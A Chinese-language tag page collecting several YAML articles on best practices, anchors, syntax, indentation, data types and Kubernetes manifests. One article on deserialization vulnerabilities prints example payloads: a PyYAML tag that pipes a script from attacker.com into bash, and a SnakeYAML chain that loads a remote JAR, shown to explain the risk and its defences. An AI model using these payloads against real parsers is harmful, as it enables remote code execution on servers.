标签

YAML

YAML(YAML Ain't Markup Language,递归缩写,表示YAML不是一种标记语言)是一种简洁的数据序列化格式,易于人类阅读和编写,同时也易于计算机程序解析。它常用于配置文件、数据交换、以及在应用程序中将结构化数据持久化存储。

YAML
服务端5月28日 04:08
编写 YAML 配置文件有哪些最佳实践?YAML 是 Kubernetes、Docker Compose、GitHub Actions、Ansible 等主流工具的配置语言——不会写 YAML,基本上跟云原生开发绝缘。但"会写"和"写得好"之间隔着一条鸿沟:缩进错了整个文件解析失败,密码硬编码推到 GitHub 炸安全审计,六个服务复制同一份超时配置改一处忘一处。 以下是经过多个生产项目验证的 YAML 编写实践,覆盖缩进规范、命名策略、类型陷阱、环境隔离、复用机制和自动验证六个方面。 ## 缩进:2 空格,没有商量余地 YAML 用缩进表示层级关系,缩进错了不是"不规范"的问题,是直接解析报错。一条规则就够了:**统一用 2 个空格**。 ```yaml server: host: localhost port: 8080 ssl: enabled: true cert: /etc/ssl/cert.pem ``` 容易踩的两个坑: - **Tab 字符混入**:大多数编辑器默认 Tab 是 4 空格或 8 空格,跟 YAML 的 2 空格不兼容。在编辑器设置里把 Tab 映射成空格,或者装一个 `.editorconfig`: ```ini # .editorconfig [*.{yaml,yml}] indent_style = space indent_size = 2 ``` - **列表缩进对齐的是短横线后的内容**,不是短横线本身: ```yaml items: - name: first value: 1 - name: second value: 2 ``` 别相信手感,跑一下 `yamllint` 就行。配置文件里加个 `.yamllint`: ```yaml extends: default rules: line-length: max: 120 indentation: spaces: 2 indent-sequences: true ``` ## 键名:六个月后还能看懂 键名是配置文件的"变量名",跟写代码一个道理——命名清晰比节省字符重要。 ```yaml # 反面教材 db: h: db.example.com ct: 30 mc: 100 # 正面教材 database: host: db.example.com connection_timeout: 30 max_connections: 100 ``` 三条原则: 1. **整份文件统一风格**。`snake_case` 是 YAML 生态的主流——Kubernetes、Ansible、GitHub Actions、GitLab CI 都用它。团队已有 `camelCase` 惯例就跟着走,但别混 2. **用嵌套代替前缀**。`server_http_port` 是扁平思维,改成嵌套结构清晰得多: ```yaml server: http: port: 8080 grpc: port: 9090 ``` 3. **嵌套别超 4 层**。超过 4 层说明概念没拆分干净,该考虑拆文件了 ## 类型陷阱:YAML 的自动推断会咬人 YAML 会"聪明地"推断值类型,但这种聪明经常闯祸: ```yaml # 你以为是字符串,其实是布尔值 enabled: yes # → true disabled: no # → false active: on # → true inactive: off # → false # 你以为是字符串,其实是数字 version: 1.0 # → 浮点数 1.0,不是字符串 "1.0" port: 8080 # → 整数 8080 ``` Python 用 `PyYAML` 加载这份配置,`version` 拿到的是 `1.0` 而不是 `"1.0"`,如果下游代码当字符串处理就会翻车。 **拿不准就加引号**: ```yaml version: "1.0" # 就是字符串 enabled: "yes" # 就是字符串 port: "8080" # 就是字符串(如果你确实要字符串) ``` 引号没有任何副作用,除了让意图更明确。 还有一个容易忽略的坑:字符串里包含冒号或特殊字符时必须引号保护: ```yaml description: "key: value" # 冒号在字符串里 path: "/usr/local/bin" # 安全起见也加上 ``` ## 环境隔离:敏感信息别写进文件 把数据库密码直接写进 YAML 推到 Git 仓库——这是真实发生过的安全事故。 **方案一:环境变量替换** ```yaml database: host: ${DB_HOST:-localhost} port: ${DB_PORT:-5432} password: ${DB_PASSWORD} # 没有默认值,缺失时启动报错 ``` `${VAR:-default}` 是标准语法:变量存在用变量值,不存在用默认值。省略 `:-default` 表示必须提供,否则报错。 **方案二:按环境拆文件** ``` config/ base.yaml # 所有环境共享 development.yaml # 开发环境覆盖 staging.yaml # 预发环境覆盖 production.yaml # 生产环境覆盖(.gitignore 排除或加密存储) ``` 应用启动时按顺序加载,后者覆盖前者。这样生产环境的密码只出现在 `production.yaml` 里,开发环境干净无敏感信息。 **方案三:密钥管理服务** 对于 Kubernetes 环境,用 Sealed Secrets 或 External Secrets Operator 管理敏感配置,代码仓库里只存加密后的密钥。 ## 重复配置:锚点和别名消灭复制粘贴 多个服务共享相同的超时和重试策略时,复制粘贴是最差的选择——改一处忘一处,迟早出事。 ```yaml defaults: &server_defaults timeout: 30 retry: 3 log_level: info service_a: <<: *server_defaults host: api-a.example.com port: 8080 service_b: <<: *server_defaults host: api-b.example.com port: 9090 ``` `&` 定义锚点,`*` 引用别名,`<<` 把键值合并进来。改 `defaults` 里的 `timeout`,所有引用它的服务都生效。 但锚点不是万能药。当配置间的关系变复杂(条件引用、动态合并),就该上模板引擎了: - **Kubernetes**:用 Helm 的 `{{ .Values }}` 模板 - **通用场景**:用 Jinja2 或 envsubst 做预渲染 满屏都是 `&` 和 `*` 的时候,就是该换工具的时候。 ## 验证和 Schema:部署前拦截错误 YAML 没有编译器帮你查错。一个多余的空格、一个拼错的键名,都可能到生产环境才炸。所以验证必须自动化。 **语法检查**——最低要求: ```bash yamllint config.yaml ``` **结构验证**——进阶要求。为配置文件定义 JSON Schema,所有字段都受约束: ```json { "type": "object", "required": ["server"], "properties": { "server": { "type": "object", "required": ["host", "port"], "properties": { "host": { "type": "string", "format": "hostname" }, "port": { "type": "integer", "minimum": 1, "maximum": 65535 }, "ssl": { "type": "boolean", "default": false } } } } } ``` 用 `check-jsonschema --schemafile schema.json config.yaml` 一行命令验证。拼错键名、类型不对、必填缺失——全部在 CI 阶段拦住。 **Kubernetes 专用**: ```bash kubeval deployment.yaml # 校验资源定义是否符合 API 规范 kubectl apply --dry-run=client -f deployment.yaml # 模拟提交 ``` ## 配置即代码:Git + Code Review YAML 配置文件就是代码,该走代码的全部流程: - **版本控制**:所有变更可追溯,出问题秒级回滚 - **Code Review**:配置变更必须有人审。一个缩进错误、一个端口配错,都可能搞垮服务 - **语义化提交**:`chore: increase database pool limit from 20 to 50` 比 `fix config` 有意义得多 有些团队把配置文件排除在 PR 审查之外,这是危险的。配置变更的影响范围往往比业务代码更广,更需要第二双眼睛。
服务端5月28日 03:56
YAML 反序列化漏洞为什么危险?真实攻击案例与防御方法YAML 反序列化漏洞不是理论风险。2022 年曝光的 CVE-2022-1471 让整个 Java 生态紧张——SnakeYAML 在 2.0 之前的所有版本都可能被一行 YAML 执行任意代码。Python 那边也没好到哪去,PyYAML 的 `yaml.load()` 在 5.1 之前默认允许实例化任意 Python 对象。 这篇文章把 YAML 最危险的安全风险、真实攻击手法、以及每个语言该用的防御方案讲清楚。 ## 最危险的风险:反序列化远程代码执行 YAML 规范允许在文档中使用类型标签(tag),比如 `!!python/object/apply:os.system` 或 `!!javax.script.ScriptEngineManager`。这些标签告诉解析器:不要把这个值当字符串,实例化一个具体的类。 问题出在:如果你用不安全的加载方式解析不可信的 YAML 输入,攻击者就能指定任意类并执行代码。 ### Python 真实攻击手法 PyYAML 的 `yaml.load()` 在 5.1 之前默认使用 `FullLoader`,允许 `!!python/object` 系列标签。攻击者构造这样的 YAML: ```yaml !!python/object/apply:os.system args: ['curl http://attacker.com/shell.sh | bash'] ``` 一行 YAML,服务器就被拿下了。这不需要什么复杂技巧,`subprocess.Popen`、`os.system` 都可以被直接调用。 相关 CVE: - **CVE-2017-18342**:通过 `subprocess.Popen` 实现任意代码执行 - **CVE-2020-1747**:`python/object/new` 构造器绕过修复 - **CVE-2020-14343**:对 CVE-2020-1747 的不完整修复,5.4 之前版本仍受影响 - **CVE-2026-24009**:Docling Core 因 PyYAML 不安全反序列化导致 RCE ### Java 真实攻击手法(CVE-2022-1471) SnakeYAML 的默认 `Constructor()` 类不限制可实例化的 Java 类。攻击者构造恶意 YAML: ```yaml !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://attacker.com/malware.jar"] ]] ] ``` 这段 YAML 让服务器从攻击者控制的 URL 下载 JAR 文件并执行。更凶狠的利用链还能通过 `JdbcRowSetImpl` 发起 LDAP 请求,手法类似 Log4Shell。 SnakeYAML 官方对此的态度争议很大——他们认为库的使用场景只接收可信数据源,所以不承认这是漏洞。但现实是大量应用用它来解析用户上传的配置文件。Spring Boot 因为只用它解析应用自身的配置文件(可信输入),所以不受影响。 ## 其他安全风险 ### 类型混淆 YAML 的自动类型推断会让你踩坑: ```yaml enabled: yes # 布尔值 true,不是字符串 "yes" version: 1.0 # 浮点数,不是字符串 port: 0600 # 八进制 384,不是 600 password: "123456" # 字符串 password: 123456 # 整数,验证逻辑可能不一致 ``` 这些隐式转换在配置文件中可能导致验证逻辑出错,攻击者利用类型差异绕过安全检查。 ### 资源耗尽(DoS) 深度嵌套或超大的 YAML 文件能让解析器吃光内存或栈溢出。这种攻击不需要复杂的 payload,一个几十 MB 的 YAML 文件就够了。 ```yaml a: b: c: d: e: f: g: h: i: j: k: value # 继续嵌套几百层... ``` ### 敏感信息泄露 YAML 配置文件里硬编码数据库密码、API Key 是常见操作。如果文件权限没管好或误提交到 Git,等于把钥匙放在门口。 ## 防御方案:每个语言的安全写法 ### Python:只用 safe_load ```python import yaml # 安全 data = yaml.safe_load(yaml_string) # 显式指定 SafeLoader(效果相同) data = yaml.load(yaml_string, Loader=yaml.SafeLoader) # 绝对不要用这些 # yaml.load(yaml_string) # 5.1 之前默认不安全 # yaml.unsafe_load(yaml_string) # 明确允许任意对象实例化 # yaml.full_load(yaml_string) # 仍允许部分不安全标签 ``` 输出时也要注意,用 `safe_dump` 而非 `dump`,避免序列化带标签的对象。 ### Java:用 SafeConstructor 或升级 SnakeYAML 2.0+ ```java // 安全写法:SafeConstructor 限制可实例化的类 Yaml yaml = new Yaml(new SafeConstructor()); Map<String, Object> data = yaml.load(inputStream); // 危险:默认 Constructor 不限制类实例化 // Yaml yaml = new Yaml(); // 别这么写 ``` SnakeYAML 2.0+ 版本默认使用更安全的构造器,如果项目允许升级,这是最简单的修复方式。 ### JavaScript:js-yaml 默认安全 ```javascript const yaml = require('js-yaml'); // js-yaml 的 load() 默认使用 DEFAULT_SCHEMA,不支持 !!js/function 等危险标签 // 安全 const data = yaml.load(fs.readFileSync('config.yaml', 'utf8')); // 如果需要更严格的控制 const data = yaml.load(content, { schema: yaml.JSON_SCHEMA }); ``` js-yaml 在较新版本中已经把 `safeLoad()` 废弃了,因为 `load()` 默认就是安全的。但要确认你用的是 4.0+ 版本。 ### Go:gopkg.in/yaml.v3 默认安全 ```go import "gopkg.in/yaml.v3" // Go 的 YAML 库不支持任意类型标签,默认安全 var data map[string]interface{} err := yaml.Unmarshal([]byte(yamlContent), &data) ``` Go 的 YAML 库设计上就不支持 Java/Python 那样的任意类实例化,所以反序列化 RCE 在 Go 里不是问题。 ## 通用防御策略 光用 safe_load 不够,还需要几道防线: ### 输入验证和 Schema 校验 ```python import yaml from jsonschema import validate schema = { "type": "object", "properties": { "name": {"type": "string"}, "port": {"type": "integer", "minimum": 1, "maximum": 65535} }, "required": ["name"], "additionalProperties": False } data = yaml.safe_load(user_input) validate(instance=data, schema=schema) # 不符合 schema 直接报错 ``` `additionalProperties: False` 很关键——它阻止攻击者注入 schema 之外的字段。 ### 限制文件大小和嵌套深度 ```python MAX_YAML_SIZE = 10 * 1024 * 1024 # 10MB class DepthLimitingLoader(yaml.SafeLoader): def __init__(self, stream): super().__init__(stream) self.depth = 0 self.max_depth = 10 def construct_mapping(self, node, deep=False): if self.depth > self.max_depth: raise ValueError("嵌套层级超过限制") self.depth += 1 try: return super().construct_mapping(node, deep) finally: self.depth -= 1 def load_yaml_safely(content): if len(content) > MAX_YAML_SIZE: raise ValueError("文件超过大小限制") return yaml.load(content, Loader=DepthLimitingLoader) ``` ### 不要硬编码敏感信息 ```yaml # 危险 database: host: db.example.com password: mysecretpassword123 # 安全:通过环境变量注入 database: host: ${DB_HOST} password: ${DB_PASSWORD} ``` 配合 Vault、AWS Secrets Manager 等密钥管理工具,密码永远不出现在代码仓库里。 ### 安全审计工具 ```bash # yamllint 检查 YAML 格式问题 yamllint config.yaml # Bandit 扫描 Python 代码中的 yaml.unsafe_load 调用 bandit -r my_project/ # Snyk 检查依赖中的已知漏洞 snyk test ``` ## 不同场景的安全要点 | 场景 | 风险等级 | 关键措施 | |------|----------|----------| | 应用配置文件 | 低 | 文件由开发团队控制,确保权限和 Git 忽略规则正确 | | 用户上传的 YAML | 高 | 必须 safe_load + Schema 验证 + 大小限制 | | CI/CD Pipeline 配置 | 中 | 限制变量注入,检查 `.yml` 文件变更的 PR | | 第三方 API 返回的 YAML | 高 | 当作不可信输入处理,和用户上传同样对待 | 一句话总结:永远不要用不安全的加载方式解析不可信来源的 YAML。Python 用 `safe_load`,Java 用 `SafeConstructor`,JavaScript 和 Go 默认安全。再加上 Schema 验证和大小限制,基本上可以把 YAML 的安全风险封死。
服务端5月28日 03:56
YAML 锚点和别名是什么?如何避免重复配置?YAML 锚点(`&`)给一个节点打标签,别名(`*`)引用标签指向的内容,合并键(`<<:`)把锚点里的键值对铺开到当前映射——三个符号组成 YAML 内置的 DRY 机制,在 Docker Compose、GitLab CI、Kubernetes 配置里到处都在用。 语法就三条: - `&anchor_name` — 打标记,写在值后面 - `*anchor_name` — 引用,完整复制那个值 - `<<: *anchor_name` — 合并,把映射里的键值对铺进当前位置 ```yaml defaults: &defaults timeout: 30 retry: 3 log_level: info service_a: <<: *defaults port: 8000 service_b: <<: *defaults port: 8001 retry: 5 # 覆盖 defaults 的 retry ``` `service_a` 最终拿到 `{timeout: 30, retry: 3, log_level: info, port: 8000}`,`service_b` 的 `retry` 被覆盖成 5。`<<:` 只合并映射,列表和标量用 `*` 直接引用。 ## 追问 ### `*anchor` 直接引用和 `<<: *anchor` 合并引用有什么区别? `*anchor` 是整块替换——锚点是什么,别名就是什么,原样搬过来,不能改也不能加。`<<: *anchor` 是展开合并——把锚点映射里的每个键值对铺进当前映射,当前映射已有的键不会被覆盖,还能加新键。所以 `*` 适合复用整个结构(比如一组标签、一个连接配置),`<<:` 适合继承并扩展(比如一套默认参数覆盖几个字段)。 ### YAML 合并键的多重继承怎么写?合并顺序是什么? ```yaml base1: &b1 timeout: 30 debug: false base2: &b2 debug: true verbose: true service: <<: [*b1, *b2] name: my-service ``` `<<: [*b1, *b2]` 列表里靠后的锚点优先级更高。`debug` 在 `b1` 里是 `false`,`b2` 里是 `true`,最终 `service.debug` 是 `true`。 注意不是所有解析器都支持多重合并——PyYAML 就不支持,Go 的 `gopkg.in/yaml.v3` 支持。如果你的 YAML 要过多个解析器,逐个测试。 ### 锚点能引用列表和嵌套结构吗? 都能。列表用 `*` 直接引用: ```yaml common_tags: &tags - monitoring - logging server1: tags: *tags ``` 嵌套锚点也可以,在映射内部再打锚点引用子结构。但嵌套超过两层时,追引用链比直接看配置还费劲,团队协作慎用。 ### 实际项目里 YAML 锚点有什么坑? **解析器兼容性**是最大的坑。Ruby Psych 和 Go `gopkg.in/yaml.v3` 支持完整,Python PyYAML 不支持多重合并键,`yaml-cpp` 对嵌套锚点的行为也不一致。CI/CD 工具(GitHub Actions、GitLab CI、Docker Compose)基本都支持,但自定义解析管线要验证。 **别名是引用不是深拷贝**——某些解析器修改引用对象会影响其他使用同一锚点的地方,这在程序化操作 YAML 时容易踩坑。 **安全风险**常被忽略。恶意构造的锚点循环引用或超深嵌套可以导致解析器 DoS。处理不可信 YAML 输入时建议禁用锚点解析(Python 可以用 `yaml.SafeLoader`)。 ### 什么时候该用独立文件替代锚点? 三个信号: 1. 锚点名称要写注释才能看懂——复用逻辑太隐晦 2. 嵌套超过两层——追引用链比直接读配置还费劲 3. 有人改了锚点内容却不知道哪些地方在引用——缺少文档约定 这时候把公共配置拆成独立文件,用工具在构建时合并更可靠:`yq` 做 YAML 合并,Helm 用 `tpl` 模板,Docker Compose 用 `extends` 关键字。 ## 写段代码 Docker Compose 复用环境变量和日志配置: ```yaml x-common: &common restart: unless-stopped logging: driver: json-file options: max-size: "10m" services: api: <<: *common image: myapp-api:latest worker: <<: *common image: myapp-worker:latest ``` `x-` 前缀是 Docker Compose 约定,表示这个键不对应服务定义,纯粹用来放锚点模板。
服务端5月28日 03:55
YAML 是什么?语法规则和常见踩坑一次讲清YAML 是 Kubernetes、Docker Compose、GitHub Actions 这些工具的配置文件格式——如果你在做云原生或 DevOps,YAML 几乎天天写。但它有个让人又爱又恨的特点:语法看起来简单,踩坑却一个接一个。 ## YAML 是什么 YAML 全称"YAML Ain't Markup Language"(递归缩写,故意这么玩的),是一种面向人类的数据序列化格式。和 JSON、XML 一样,它用来表示结构化数据,但设计目标很明确:让人能直接读和写。 一句话区分:JSON 是给机器看的,YAML 是给人看的。 ## YAML 的三种数据结构 所有 YAML 内容都由这三种结构组合而成,理解它们就能看懂任何 YAML 文件。 **映射(键值对)** ```yaml name: nginx port: 8080 ``` 冒号后面必须跟一个空格,这是 YAML 最基本的规则。漏掉这个空格会直接报解析错误。 **序列(列表)** ```yaml features: - authentication - logging - monitoring ``` 列表项用 `- ` 开头,注意连字符后面也有一个空格。 **标量(单个值)** 字符串、数字、布尔值、null 都是标量。YAML 会自动推断类型: ```yaml version: 1.2 # 浮点数 debug: true # 布尔值 host: localhost # 字符串 timeout: null # null ``` 自动推断有时候会坑人。比如 `off` 会被解析为 `false`,`yes` 会被解析为 `true`,版本号 `1.10` 看起来像浮点数。需要原样保留字符串时,加上引号: ```yaml version: "1.10" # 强制字符串,不会被转成 1.1 switch: "off" # 强制字符串,不会被转成 false ``` 这个坑在生产环境排查过的人都知道——一个引号之差,配置就跑偏了。 ## YAML vs JSON vs XML 实际项目中这三种格式经常需要选择,核心区别一目了然: | 特性 | YAML | JSON | XML | |------|------|------|-----| | 注释 | 支持 `#` | 不支持 | 支持 | | 多行字符串 | 支持 `|` 和 `>` | 不支持 | 需 CDATA | | 可读性 | 高 | 中 | 低 | | 解析速度 | 慢 | 快 | 中 | | 数据类型 | 丰富(含日期、时间戳) | 基本类型 | 全是字符串 | | 超集关系 | JSON 的超集 | — | — | **YAML 是 JSON 的超集**,意味着任何合法的 JSON 写法直接放进 YAML 文件也能解析。所以在 YAML 里嵌入 JSON 片段是完全合法的。 选择建议:配置文件用 YAML,API 数据交换用 JSON,需要严格验证结构用 XML。 ## 缩进:YAML 的命门 YAML 用缩进表示层级关系,这条规则没有商量的余地: - **只能用空格**,不能用 Tab。混用空格和 Tab 是 YAML 解析报错的第一大原因 - **同层元素必须对齐**。缩进空格数不限制(2 个或 4 个都行),但同一层必须一致 - **推荐 2 个空格缩进**,Kubernetes 和 Docker Compose 的官方示例都用 2 空格 ```yaml # 正确:同层对齐 server: host: localhost port: 8080 features: - auth - logging # 错误:缩进不对齐,解析器直接报错 server: host: localhost port: 8080 # 多了一个空格 ``` 大多数编辑器可以设置"将 Tab 转换为空格",强烈建议开启。VS Code 底部状态栏点击"Tab Size"就能改。 ## 多行字符串:配置文件的救星 YAML 处理多行文本的方式比 JSON 优雅得多,有两种模式: **`|` 保留换行**(literal block):每一行换行原样保留,适合脚本、证书等 ```yaml startup_script: | #!/bin/bash echo "Starting service..." sleep 3 systemctl start app ``` **`>` 折叠换行**(folded block):连续换行合并成一个空格,适合长段落文本 ```yaml description: > This is a long description that will be folded into a single line when parsed. ``` 在 Docker Compose 里写启动命令、在 Kubernetes 里挂载配置文件,这两种写法用得最多。 ## 锚点和引用:YAML 的复用机制 当配置文件里有重复内容时,锚点(`&`)和引用(`*`)能减少冗余: ```yaml defaults: &defaults timeout: 30 retries: 3 log_level: info production: <<: *defaults log_level: warning retries: 5 staging: <<: *defaults timeout: 10 ``` `&defaults` 定义锚点,`*defaults` 引用它,`<<:` 表示合并(merge)。这在多环境配置中非常实用——基础配置写一次,各环境只覆盖差异项。 ## 多文档分隔 一个 YAML 文件可以包含多个文档,用 `---` 分隔。Kubernetes 的资源清单经常这么用: ```yaml --- apiVersion: v1 kind: Service metadata: name: nginx-svc --- apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deploy ``` 一个文件管理多个资源,kubectl apply 一次搞定。 ## 真实项目配置示例 一个完整的 Docker Compose 配置,把前面提到的语法串起来: ```yaml version: "3.8" x-logging: &default-logging # 锚点定义 driver: json-file options: max-size: "10m" max-file: "3" services: web: image: nginx:alpine ports: - "80:80" - "443:443" volumes: - ./nginx.conf:/etc/nginx/nginx.conf:ro logging: *default-logging # 锚点引用 healthcheck: test: ["CMD", "curl", "-f", "http://localhost"] interval: 30s timeout: 10s retries: 3 db: image: postgres:15 environment: POSTGRES_DB: myapp POSTGRES_PASSWORD: "${DB_PASSWORD}" # 引用环境变量 volumes: - db-data:/var/lib/postgresql/data logging: *default-logging volumes: db-data: ``` 这个配置用到了映射、序列、锚点引用、多行字符串、环境变量插值——基本上 YAML 的核心特性全覆盖了。 ## 常见踩坑清单 | 坑 | 现象 | 解决方案 | |----|------|----------| | Tab 混用空格 | 解析报错"found character that cannot start any token" | 编辑器开启"Tab 转空格" | | 冒号后没空格 | `key:value` 被当成字符串 | 写成 `key: value` | | 自动类型转换 | `off` 变 `false`,`1.10` 变 `1.1` | 加引号强制字符串 | | 缩进不一致 | 解析报错或数据嵌套错误 | 保持同级缩进对齐 | | 特殊字符未转义 | `:`, `{`, `[`, `,` 等字符导致解析异常 | 用引号包裹含特殊字符的值 | | 文件编码问题 | 含中文时解析乱码 | 确保文件为 UTF-8 编码 | 这些坑在实际项目中反复出现,养成习惯比事后排查高效得多。
服务端5月28日 03:55
YAML 缩进规则有哪些?Tab 和空格混用为什么会报错?YAML 用缩进表示层级关系,这是它和 JSON/XML 最大的区别——缩进不是排版,是语法。三条核心规则:只能用空格不能用 Tab、同一层级的元素缩进量必须一致、子级比父级多缩进即可(通常 2 个空格)。违反任何一条,解析器直接报错,不会像 Python 那样给你模糊的提示。 ## 追问 ### 为什么 YAML 禁止 Tab? YAML 规范明确规定 Tab 不能用于缩进。原因是 Tab 的显示宽度在不同编辑器中不一致(有的算 4 格,有的算 8 格),解析器无法判断两个 Tab 等价于几个空格,索性禁止。实际踩坑:从网页或文档复制配置时,经常会带入隐藏的 Tab 字符,导致排查半天找不到原因。 ### 同一层级的缩进不一致会怎样? 解析器会报 `mapping values are not allowed here` 或 `expected <block end>` 之类的错误。最典型的场景: ```yaml server: host: localhost port: 8080 # port 比 host 多缩进了 2 格 name: app ``` `port` 多了 2 个空格,解析器认为它是 `host` 的子键,但 `host` 的值已经是字符串 `localhost`,不能再有子键——于是报错。 ### 列表项的缩进有什么坑? 列表项用 `- ` 开头,短横线本身占一级缩进,后面的内容从短横线后一个空格开始算对齐: ```yaml fruits: - apple - banana - orange ``` 常见错误是列表项的子属性缩进不对: ```yaml employees: - name: Alice role: Dev # 错误:和 name 对齐了,但应该和 name 的值对齐 role: Dev # 正确:和 name 对齐(name 的 n 是对齐起点) ``` 实际上两种写法都可能被解析,但第一种 `role` 会被当成和 `- name` 同级而不是 `name` 的兄弟属性,结构完全不同。 ### 多行字符串的缩进怎么处理? `|` 保留换行,`>` 折叠换行,缩进量以指示符行的缩进为基准: ```yaml description: | 第一行 第二行 缩进的第三行 ``` 多行块里,比首行多缩进的部分会保留额外缩进,少缩进则报错。`|+` 保留末尾空行,`|-` 删除末尾空行——这是容易忽略的细节。 ### 有什么快速排查缩进错误的方法? 1. 编辑器开「显示空白字符」,一眼看到 Tab 和空格混用 2. `yamllint config.yaml` 自动检查 3. `python -c "import yaml; yaml.safe_load(open('config.yaml'))"` 快速验证 4. VS Code 装 YAML 插件,实时标红缩进错误 最关键的一条:编辑器配置里把 Tab 自动转空格,从根源杜绝问题。
服务端5月28日 03:54
YAML 有哪些数据类型?最容易踩的坑是什么?YAML 的数据类型分三大类:标量(字符串、数字、布尔、空值)、序列(列表)、映射(键值对)。解析器会根据值的书写格式自动推断类型,但也支持用 `!!标签` 显式指定。 字符串最灵活:默认不需要引号,但含特殊字符时必须加引号。单引号不转义('Hello\nWorld' 输出原样),双引号会转义("Hello\nWorld" 输出换行)。多行文本用 `|` 保留换行,用 `>` 折叠成一行。 数字支持整数(十进制、`0o` 八进制、`0x` 十六进制)、浮点数和科学计数法(`1.23e4`)。 布尔值有三个等价组:`true/yes/on` 和 `false/no/off`。这是 YAML 1.1 的遗留问题,很多解析器在 YAML 1.2 下只认 `true/false`。 空值用 `null`、`~` 或直接留空。 序列用 `- ` 表示列表项,映射用 `key: value`。两者都能内联书写(`[a, b, c]` 和 `{k: v}`),也支持任意嵌套组合。 类型推断最容易踩坑:`yes`、`no`、`on`、`off` 会被当成布尔值;裸写的 `2024-01-01` 会被解析成日期对象;纯数字如 `8080` 会变成整数。要强制为字符串就加引号。 ## 追问 ### YAML 和 JSON 的数据类型有什么区别? JSON 只有六种类型(对象、数组、字符串、数字、布尔、null)。YAML 在此基础上增加了日期时间、二进制、集合等类型,还支持多行字符串、锚点别名、显式类型标签。YAML 是 JSON 的超集——合法的 JSON 也是合法的 YAML。 ### 实际项目里遇到过什么坑? 最经典的就是布尔值陷阱。Kubernetes 配置里写 `env: no`,K8s 把它解析成 `false` 而不是字符串 `"no"`。Docker Compose 也有类似问题。解法:需要字符串的值一律加引号。 ### 为什么 YAML 1.2 废弃了 yes/no/on/off 布尔值? YAML 1.1 设计时追求"自然语言友好",认为 `yes/no` 比 `true/false` 更直观。实际使用中这些词频繁出现在配置值里(国家代码 `NO`、环境名 `on`),类型误判 bug 爆棚。YAML 1.2 规范只保留了 `true/false`,但很多解析器为了向后兼容仍然支持旧写法。 ### 如何强制指定类型?什么场景需要? 用 `!!标签` 语法:`!!str 123` 强制为字符串,`!!int "42"` 强制为整数,`!!timestamp` 指定日期。场景:配置值可能被误推断时(如版本号 `"2.0"` 需要字符串而非浮点数),或者需要精确控制输出类型时(如 API 配置里的端口号必须是整数)。 ## 写段代码 ```yaml # 类型陷阱示例 port: "8080" # 字符串,不加引号会变成整数 country: "NO" # 字符串,不加引号会变成 false version: !!str 2.0 # 强制字符串,否则变成浮点数 2.0 date: 2024-01-01 # 自动解析为日期对象 flag: !!bool "true" # 强制布尔,从字符串转换 ```
服务端5月28日 03:53
Kubernetes YAML 怎么写?核心字段和常见配置模式详解Kubernetes 用 YAML 声明式描述资源期望状态——你告诉 K8s"我要什么结果",它负责把集群调到那个状态。一个合法的 K8s YAML 只有四个必填顶层字段:`apiVersion`、`kind`、`metadata`、`spec`。所有资源都是这四件套的排列组合,区别只在 spec 里填什么。 ## 追问 ### apiVersion 怎么选?选错了会怎样? 按资源类型对照:核心资源 `v1`(Pod、Service、ConfigMap、Secret),工作负载 `apps/v1`(Deployment、StatefulSet、DaemonSet),网络 `networking.k8s.io/v1`(Ingress、NetworkPolicy),批处理 `batch/v1`(Job、CronJob),权限 `rbac.authorization.k8s.io/v1`。拿不准就跑 `kubectl api-resources` 查。 选错版本有两种后果:用了废弃版本(如 `extensions/v1beta1` 的 Deployment),K8s 1.16 之后直接报错拒绝创建;用了太新的版本但集群版本低,同样报错。生产环境升级 K8s 前必须检查 API 废弃公告,否则 `kubectl apply` 一跑全挂。 ### metadata 里 labels 和 annotations 分别干什么? labels 是给 K8s 的选择器用的——Service 找 Pod、Deployment 管 ReplicaSet 全靠 label 匹配,值要短、要稳、要有层次(比如 `app: order-service, tier: backend, env: prod`)。annotations 不参与选择器,存给人看的信息:Git commit hash、变更原因、负责人邮箱、监控配置等。一条原则:selector 需要匹配的放 labels,纯描述放 annotations。 踩坑提醒:label 值一旦写进 selector 就别随便改,改了会导致 Deployment 丢失 Pod、Service 断流。annotations 随便改,不影响运行。 ### spec 里 replicas、selector、template 三者什么关系?为什么经常报错? 这是 Deployment 最容易出错的地方。`replicas` 决定跑几个 Pod,`selector` 声明"我管哪些 Pod"(通过 matchLabels),`template` 定义"Pod 长什么样"。铁律:**selector.matchLabels 必须是 template.metadata.labels 的子集**,否则 Deployment 创建了 Pod 却认不出它们,replicas 永远对不上,Pod 会被反复创建又丢弃。 实战中最常犯的错:改了 template 里的 label 却忘了同步改 selector,或者 Deployment 和 Service 的 selector 对不上,导致 Service 发现不了 Pod。排查时 `kubectl get pods -l app=myapp` 看 selector 能不能匹配到 Pod。 ### 多资源写一个文件用 `---` 分隔,什么场景该合什么场景该拆? `---` 把多个资源塞进一个 YAML 文件,`kubectl apply -f app.yaml` 一次全部署。同一个应用的所有资源(Deployment + Service + ConfigMap)适合合在一起,变更追踪和回滚都方便。不同应用的资源必须拆开,否则一个文件改坏全挂,`kubectl diff` 也看不出谁改了什么。 更复杂的场景用 Kustomize 的 overlay 机制或 Helm chart 管理,别在单文件里堆几十个资源。 ### 资源限制 requests 和 limits 都要设吗?不设会怎样? 都要设,尤其是生产环境。`requests` 是调度依据,K8s 据此决定 Pod 放哪个节点;`limits` 是硬上限,超过就被 OOMKill 或 CPU 节流。不设 requests:调度器不知道 Pod 需要多少资源,可能把重负载 Pod 全堆到一个节点,节点撑爆。不设 limits:一个 Pod 可以吃光节点资源,邻居全受影响(Noisy Neighbor 问题)。 常见策略:requests 设为实际用量的 70-80%,limits 设为 requests 的 1.5-2 倍。用 `kubectl top pods` 观察实际用量,定期调整。 ### YAML 常见报错怎么排查? 缩进错误最常见:必须用空格不能用 Tab,同一层级严格对齐,嵌套加两个空格。类型错误:端口号别加引号(`80` 不是 `"80"`),布尔值用 `true`/`false` 不用 `yes`/`no`(YAML 1.2 规范不认后者)。必填字段漏了:Deployment 必须有 selector,Service 必须有 port 和 targetPort。 排查三板斧:`kubectl apply --dry-run=client` 先试跑看语法错误,`yamllint` 检查格式规范,`kubeval` 或 `kubeconform` 校验字段是否合法。CI 流水里加上这几步,能挡住 90% 的低级错误。
服务端5月28日 03:53
